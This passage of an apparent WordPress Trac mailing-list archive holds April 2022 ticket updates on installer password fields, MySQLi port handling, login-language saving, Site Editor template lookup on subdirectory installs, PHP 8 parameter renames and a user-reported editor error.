6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, javascript -----------------------------+----------------------------- Comment (by costdev): I've tested [https://github.com/WordPress/wordpress-develop/pull/2550 PR 2550] by forcing the race condition and it fixes the issue on the install, `Add New User` and the `Edit User` screen. This is certainly a stopgap fix but it allows installation to proceed while further investigation is done to review and improve the login screen/user profile JS in a later ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 05:43:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 05:43:35 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.d1c62262c2b85565f059986719be4bc8@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: 2nd-opinion has-patch => has-patch needs-testing needs-unit- tests 2nd-opinion Comment: This ticket was discussed in the bug scrub. Here are some thoughts: - Despite touching WPDB, the patch seems safe as it eliminates invalid ports that shouldn't work anyway. - The nullable concern has been verified as an issue with PHP's documentation. - Per the discussion in the bug scrub, adding `needs-testing` and `needs- unit-tests`. @johnjamesjacoby do you have time to work on the unit tests in time for Beta 1 on Tuesday, April 12? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 08:18:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 08:18:57 -0000 Subject: [wp-trac] [WordPress Trac] #54761: Save the prefered language from login page (since WP5.9) In-Reply-To: <058.c6cae1dbfb37316e5cce4949eaf5c50c@wordpress.org> References: <058.c6cae1dbfb37316e5cce4949eaf5c50c@wordpress.org> Message-ID: <073.73615456d3652395a2bc81451a315791@wordpress.org> #54761: Save the prefered language from login page (since WP5.9) -------------------------------------------------+------------------------- Reporter: sebastienserre | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Login and Registration | Version: 5.9 Severity: normal | Resolution: Keywords: 2nd-opinion early has-patch needs- | Focuses: testing | administration -------------------------------------------------+------------------------- Changes (by costdev): * keywords: needs-patch 2nd-opinion => 2nd-opinion early has-patch needs- testing * milestone: 6.0 => Future Release Comment: Per the discussion in the bug scrub, I'm moving this to ''Future Release'' and marking as `early` as this still needs discussion. Also adding `has-patch` and `needs-testing`. ----- There are currently two approaches: - Using cookies in [https://core.trac.wordpress.org/attachment/ticket/54761/54761.patch 54761.patch]. However, as noted in the bug scrub: @joedolson What if the cookie is set from a previous log-in, and the user changed their login_lang in the admin? E.g., when they logged-in they chose German; but in the admin they changed to Dutch. What happens on their next log-in? - Based on [https://3v4l.org/p8gRv these tests], conditionally applying the user language. ----- Some thoughts: - Using the cookie is not reliable. - The cookie may have been stored by a previous user. - When a user logs out, `$_GET['wp_lang']` is set to that user's locale. This in turn sets the cookie. So if one logs out to let the other log in, the second user's language would change. - Using `$_GET['wp_lang']` by itself is not reliable. - The user may have been sent a link with `?wp_lang=en_US`, for example. - When a user logs out, `$_GET['wp_lang']` is set to that user's locale. So if one logs out to let the other log in, the second user's language would change. - This applies to any `$_GET[]`-only or `$_GET[] + cookie` solution. They are not reliable. - We cannot assume that visiting a page implies intent to change language. - We can only assume intent by the user actually clicking the "Change" button. - We cannot rely upon Javascript solutions. If others agree with the above, once we determine the best way to detect that the user has clicked the "Change" button, we can put this code (or similar) [https://core.trac.wordpress.org/browser/tags/5.9/src/wp- login.php#L1294 at or near line 1294]: {{{#!php <?php if ( is_a( $user, 'WP_User' ) && $user->exists() && $user_has_clicked_change ) { /* * Since it has been verified that the user has clicked the "Change" button, * and clicking the button also sets $_GET['wp_lang'], this can now be used * with some confidence. */ $wp_lang = sanitize_text_field( $_GET['wp_lang'] ); // This condition matches the one here: https://3v4l.org/p8gRv if ( get_locale() !== $wp_lang && get_user_locale() !== $wp_lang ) { update_user_meta( $user->ID, 'locale', $wp_lang ); } } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54761#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 14:30:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 14:30:00 -0000 Subject: [wp-trac] [WordPress Trac] #55288: Site Editor on 5.9.1 fails to find homepage template for FSE themes, on WP subdirectory installation In-Reply-To: <055.066d0ca728e3fb5959c659d12bba3c2b@wordpress.org> References: <055.066d0ca728e3fb5959c659d12bba3c2b@wordpress.org> Message-ID: <070.66f0b326be7e1e837315cba5a287c47c@wordpress.org> #55288: Site Editor on 5.9.1 fails to find homepage template for FSE themes, on WP subdirectory installation --------------------------+----------------------------------------- Reporter: andronocean | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: critical | Resolution: Keywords: dev-feedback | Focuses: javascript, administration --------------------------+----------------------------------------- Changes (by andronocean): * keywords: => dev-feedback * focuses: administration, template => javascript, administration * version: 5.9.2 => 5.9.3 Comment: Also still occurring on WP 5.9.3, in all block themes. @westonruter I'm guessing the mixed content error's source is different. Any chance that part goes away if you change the home URL to `https://`? @Enchiridion I dug into that 404 request a little more. I'm also seeing 404 with the correct data nonetheless returned. What's rather curious is the actual request series I'm seeing: 1. `getHomePageParams()` in the `wp-includes/js/dist/edit-site.js` file (more info below) initiates the async GET request for `https://example.test/wp?_wp-find-template=true`. 2. The response is a **301 redirect** to `https://saratogaocean.test/wp /?_wp-find-template=true`. Note the slash before `?` 3. The redirect request `/wp/?_wp-find-template=true` returns the data (`{"success":true,"data":{"type":"wp_template"....}}`) but with a 404 status. That ''status'' makes the response fail and throw an error. The exact lines in `wp-includes/js/dist/edit-site.js` where the request is made are 9539-9547: {{{ const template = await window.fetch(Object(external_wp_url_["addQueryArgs"])(siteUrl, { '_wp-find-template': true })).then(response => { if (!response.ok) { throw new Error(`\`getHomepageParams\`: HTTP status error, ${response.status} ${response.statusText}`); } return response.json(); } }}} The Error object thrown there is caught inside the `reinitializeEditor()` function at line 9845, which is what stops rendering and prints the message "The editor is unable to find a block template for the homepage." The 404 is causing the problem. == With Gutenberg activated, here's what's changed: == The Gutenberg request gets `https://example.test/?_wp-find-template=true`. It's using the public site URL as the base, not the admin URL. That returns 200, and everything is happy. The function generating the request is different: it's now `__experimentalGetTemplateForLink()`, and instead of using the site URL in the XHR request, it simply uses a `/` to get a relative URL (via the `link` parameter). [https://github.com/WordPress/gutenberg/blob/640dbf25acd755a70a0f8baffa3a4b67d34b5bea/packages /core-data/src/resolvers.js#L368-L373| These lines] do the work. == The problem is the use of `siteUrl` == Even without Gutenberg active, GET `https://example.test/?_wp-find- template=true` returns 200 and the JSON data. **The endpoint is there, but those of us using subdirectory installs are hitting the wrong path** and probably being messed up by redirect rules. I tried hackily replacing `siteUrl` with `"/"` and sure enough it worked without Gutenberg. Seems like this would be a simple fix for Core, unless/until the experimental API function from G can be merged. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55288#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 19:04:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 19:04:43 -0000 Subject: [wp-trac] [WordPress Trac] #55546: It is unclear what the two URL settings mean. In-Reply-To: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> References: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> Message-ID: <065.2d548729e11cf682b5e48a12a23931ba@wordpress.org> #55546: It is unclear what the two URL settings mean. --------------------------+------------------------------ Reporter: billpg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Text Changes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui --------------------------+------------------------------ Comment (by billpg): Is "Site Address" to make the post/page permalink URLs, while "WordPress Address" is to construct the "wp-admin", "wp-content", etc URLs? It would be useful to understand a use-case for keeping those two as separate settings with different values. My own website was in a sub- folder (https://billpg.com/site/) until I found a .htaccess setting to deal with requests that don't have a corresponding file in my public_html folder by silently rewriting URLs into my "site" folder. Before and after that reconfiguration, both URL settings inside WP had the same value as each other. "https://billpg.com/site" before and "https://billpg.com" after. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55546#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 20:37:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 20:37:09 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.3aaf2552c352f09087d6564e244a8ca6@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53116" 53116]: {{{ #!CommitTicketReference repository="" revision="53116" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/class-wp-posts-list-table.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$css_class` in `WP_Posts_List_Table::get_edit_link()`. * Renames the `$parent` parameter to `$parent_page` in `WP_Posts_List_Table::_page_rows()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 22:42:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 22:42:46 -0000 Subject: [wp-trac] [WordPress Trac] #55549: I can't open any article with Gutenberg with this editor Message-ID: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> #55549: I can't open any article with Gutenberg with this editor -----------------------------+------------------------------- Reporter: srdjanrad | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: 5.9.3 Severity: normal | Keywords: needs-screenshots Focuses: | -----------------------------+------------------------------- After the latest update 5.9.3. WordPress will not open an article with a gutenberg editor. I tried and with the new WordPress installation the same thing happens. I'm creating an article, but if I want to edit it again, it shows me an error. [[Image()]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55549> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 22:43:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 22:43:41 -0000 Subject: [wp-trac] [WordPress Trac] #55549: I can't open any article with Gutenberg with this editor In-Reply-To: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> References: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> Message-ID: <068.2a48caf44b62f5cebf26942fc6ca404f@wordpress.org> #55549: I can't open any article with Gutenberg with this editor -------------------------------+------------------------------ Reporter: srdjanrad | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: 5.9.3 Severity: normal | Resolution: Keywords: needs-screenshots | Focuses: -------------------------------+------------------------------ Changes (by srdjanrad): * Attachment "Screenshot 2022-04-10 002834.png" added. An error that occurs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55549> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 23:05:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 23:05:37 -0000 Subject: [wp-trac] [WordPress Trac] #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. In-Reply-To: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> References: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> Message-ID: <063.1148fc83764f39acea286dc6af0a1d16@wordpress.org> #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. -------------------------------------------------+------------------------- Reporter: dd32 | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: minor | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests | -------------------------------------------------+------------------------- Comment (by Rahmohn): WP_Theme::get_files() will return an entry with `false` value when the directory of the theme doesn't exist. So it's possible to reproduce this issue with the code below: {{{#!php <?php $theme = wp_get_theme( 'non-existent-directory-name' ); var_dump( $theme->get_files() ); /** * Output: * * array (size=1) * 0 => boolean false */ }}} This is happening because [https://github.com/WordPress/wordpress- develop/blob/0ea7a38664746f9ad4f402768975c66928817531/src/wp-includes /class-wp-theme.php#L1200 WP_Theme::get_files()] uses the method [https://github.com/WordPress/wordpress- develop/blob/0ea7a38664746f9ad4f402768975c66928817531/src/wp-includes /class-wp-theme.php#L1355 WP_Theme::scandir()] to retrieve the files and this method can return `false` if the path doesn't exist or isn't a directory. Although the patch added by opurockey can fix the issue when the parent theme is not available, it doesn't for the case I described above. So, I've changed the WP_Theme::get_files() to filter out empty entries before returning the array of files. Other than that, I've added tests for this scenario. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53599#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 23:57:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 23:57:30 -0000 Subject: [wp-trac] [WordPress Trac] #53224: Super admin cannot set an application password on a site they're not a member of In-Reply-To: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> References: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> Message-ID: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> #53224: Super admin cannot set an application password on a site they're not a member of -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Application Passwords | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev- | Focuses: multisite feedback | -------------------------------------------------+------------------------- Changes (by rehanali): * Attachment "#53224.patch" removed. Added patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/53224> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 00:08:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 00:08:50 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security In-Reply-To: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> References: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> Message-ID: <068.6e8e6d09eadd50281cca227095b6e3e1@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+---------------------- Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Security | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by peterwilsoncc): * milestone: Awaiting Review => Comment: Thanks for following up again. Given it is working with passwords, I think your decision to close was for the best. Preventing certain combinations of passwords that work seems unwise. When adopting the function for other purposes, I suggest something like this to avoid problems: {{{#!php <?php do { $password = wp_generate_password(); } while ( str_starts_with( $password, '0x' ) ) }}} `str_starts_with` is available in PHP 8.0 and WP 5.9 and above. Also, please test my code above in case I've had a brain fade :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 00:28:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 00:28:46 -0000 Subject: [wp-trac] [WordPress Trac] #55546: It is unclear what the two URL settings mean. In-Reply-To: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> References: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> Message-ID: <065.a83db2857536c1827345f41baa30b59f@wordpress.org> #55546: It is unclear what the two URL settings mean. --------------------------+------------------------------ Reporter: billpg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Text Changes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui --------------------------+------------------------------ Comment (by peterwilsoncc): Replying to [comment:2 billpg]: > Is "Site Address" to make the post/page permalink URLs, while "WordPress Address" is to construct the "wp-admin", "wp-content", etc URLs? Yes, that is correct. > It would be useful to understand a use-case for keeping those two as separate settings with different values. My own website was in a sub- folder (https://billpg.com/site/) until I found a .htaccess setting to deal with requests that don't have a corresponding file in my public_html folder by silently rewriting URLs into my "site" folder. Before and after that reconfiguration, both URL settings inside WP had the same value as each other. "https://billpg.com/site" before and "https://billpg.com" after. The use case is that it allows site owners to put three files in the site's root directory (site URL) and refer to the sub-directory directory (WordPress URL). It saves the effort of modifying the `.htaccess` file to rewrite URLs. I've set up a gist with the [https://gist.github.com/peterwilsoncc/c28dc850bfb152a4a55ebed6d2b8b189 three files in my site's root directory]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55546#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 01:35:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 01:35:37 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.dd2060f876ac68f4e05933f694edbc8b@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Replying to [comment:15 jrf]: > @costdev did some testing regarding the non-nullablility and got confusing results, so I've now actually [https://github.com/php/php- src/blob/c68591fa1681dd63b34a429a3378c37f4a657d8d/ext/mysqli/mysqli.stub.php#L294-L306 checked the PHP source] and turns out the parameters **ARE** nullable and that the PHP manual is either wrong or just plain confusing. Is it possible, safe and worth defaulting to `(int) ini_get( 'mysqli.default_port' )` and using that instead of `null`? Following the code when there's a contradiction between the code and docs always makes me nervous. It could later be decided to be a bug and fixed with minimal warning. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 01:48:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 01:48:29 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.54cefec2a2c12297ecd4a34817b21558@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+----------------------------- Reporter: Eric3D | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, javascript -----------------------------+----------------------------- Comment (by peterwilsoncc): @costdev Thanks for testing and for the assistance figuring out how to force the race condition. I'm leaning toward committing the ~~hacky~~ ''stopgap'' solution as allowing users to install, create users and/or change their password all seem important. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 06:59:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 06:59:11 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.e9f644fa26d3203510823ab5d6d511df@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Comment (by costdev): I think this docs issue is unlikely to lead to a change in PHP source. There are open issues for other pages where nullable parameters aren't shown as such. That said, if this change is desired: **ini_get** Returns the value of the configuration option as a string on success, or an empty string for null values. Returns false if the configuration option doesn't exist. [https://www.php.net/manual/en/function.ini-get.php PHP.net] For a `""` or `false` result, we'd have to set `$port` to `null` anyway in order to send the correct type to `mysqli_real_connect()`. {{{ $port = ini_get( 'mysqli.default_port' ); $port = $port ? $port : null; }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 09:27:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 09:27:46 -0000 Subject: [wp-trac] [WordPress Trac] #55550: I CANNOT ACCESS MY SITE - PROBABLY SSL OR HOST PROBLEM Message-ID: <054.10d7f1ae030ec4bf297d5cd752742ca7@wordpress.org> #55550: I CANNOT ACCESS MY SITE - PROBABLY SSL OR HOST PROBLEM -------------------------------------------------+------------------------- Reporter: burakbener | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Administration | Version: Severity: normal | Keywords: Focuses: accessibility, administration, | performance | -------------------------------------------------+------------------------- Hello, I can't access my own site, because of db, I think. When I try to access it, I notice that there is a problem about not only SSL certification, but also DB error for "wp-admin" page. Could you give us an idea about why it happened? I will be waiting for your answer. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55550> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 09:32:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 09:32:48 -0000 Subject: [wp-trac] [WordPress Trac] #55550: I CANNOT ACCESS MY SITE - PROBABLY SSL OR HOST PROBLEM In-Reply-To: <054.10d7f1ae030ec4bf297d5cd752742ca7@wordpress.org> References: <054.10d7f1ae030ec4bf297d5cd752742ca7@wordpress.org> Message-ID: <069.d2d6e94f0a0c9b7dd4c83320a78ba3ed@wordpress.org> #55550: I CANNOT ACCESS MY SITE - PROBABLY SSL OR HOST PROBLEM --------------------------+---------------------- Reporter: burakbener | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * focuses: accessibility, administration, performance => * type: enhancement => defect (bug) * component: Administration => General * milestone: Awaiting Review => * resolution: => invalid Comment: Hi @burakbener, welcome to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You can get some help from the folks over on [https://wordpress.org/support/forums/ the support forums]. Best of luck! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55550#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 10:19:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 10:19:35 -0000 Subject: [wp-trac] [WordPress Trac] #55549: I can't open any article with Gutenberg with this editor In-Reply-To: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> References: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> Message-ID: <068.20270a43eb92c366ade7be61f6927671@wordpress.org> #55549: I can't open any article with Gutenberg with this editor -----------------------------------------------+--------------------------- Reporter: srdjanrad | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Quick/Bulk Edit | Version: 5.9.3 Severity: normal | Resolution: Keywords: reporter-feedback has-screenshots | Focuses: -----------------------------------------------+--------------------------- Changes (by costdev): * keywords: needs-screenshots => reporter-feedback has-screenshots Comment: Hi @srdjanrad, welcome to Trac! I can't seem to reproduce this issue. Here are the steps I took: 1. Upgrade to WordPress 5.9.3. 2. Navigate to `Posts > Add New`. 3. Enter a title containing "Здраво" and some content. 4. Click `Publish`. 5. Navigate to `Posts > All Posts`. 6. Click `Edit` on the new post. 7. Make a change. 8. Click `Update`. 9. Navigate to `Posts > All Posts`. 10. Click `Quick Edit` on the post. 11. Make a change. 12. Click `Update`. 13. Tick the checkbox on the left of the post. 14. Select `Edit` from the `Bulk Edit` screen. 15. Make a change. 16. Click `Update`. I didn't get any errors. I also tried changing the website's language and still didn't get any errors. Can you provide the specific steps taken and also confirm the website's language so that we can try to reproduce the issue? Thanks! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55549#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 11:38:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 11:38:02 -0000 Subject: [wp-trac] [WordPress Trac] #55549: I can't open any article with Gutenberg with this editor In-Reply-To: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> References: <053.c16cdc6bceb15f2139bb05b516e6d3c2@wordpress.org> Message-ID: <068.97434f8ee2ce08b6182300226779114f@wordpress.org> #55549: I can't open any article with Gutenberg with this editor -----------------------------------------------+--------------------------- Reporter: srdjanrad | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Quick/Bulk Edit | Version: 5.9.3 Severity: normal | Resolution: Keywords: reporter-feedback has-screenshots | Focuses: -----------------------------------------------+--------------------------- Comment (by srdjanrad): I'm sorry, now I see that the problem is when installing WordPress in Serbian and updating. In English, everything works normally. Thanks! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55549#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 11:46:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 11:46:26 -0000 Subject: [wp-trac] [WordPress Trac] #55373: Attachment template: Rename from "Media" to "Attachment" In-Reply-To: <053.5badf15f4756f2e0685d9e3287845d07@wordpress.org> References: <053.5badf15f4756f2e0685d9e3287845d07@wordpress.org> Message-ID: <068.ad2fa5a4f631a9c06e71374bac1383d7@wordpress.org> #55373: Attachment template: Rename from "Media" to "Attachment" --------------------------------+---------------------------- Reporter: scruffian | Owner: davidbaumwald Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.9 Severity: normal | Resolution: fixed Keywords: commit needs-codex | Focuses: --------------------------------+---------------------------- Changes (by milana_cap): * keywords: commit => commit needs-codex -- Ticket URL: <https://core.trac.wordpress.org/ticket/55373#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 11:48:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 11:48:59 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.72fb2e0b103c475d04807b3fac3625c0@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note commit needs-docs | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests needs-dev-note commit => has-patch has-unit-tests needs-dev-note commit needs-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 10 11:51:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 10 Apr 2022 11:51:50 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.e7236d9cb1b96ea5f25089ca35ec6561@wordpress.org> #55395: Update Twemoji for 6.0 ----------------------------+----------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: accepted Priority: normal | Milestone: 6.0 Component: 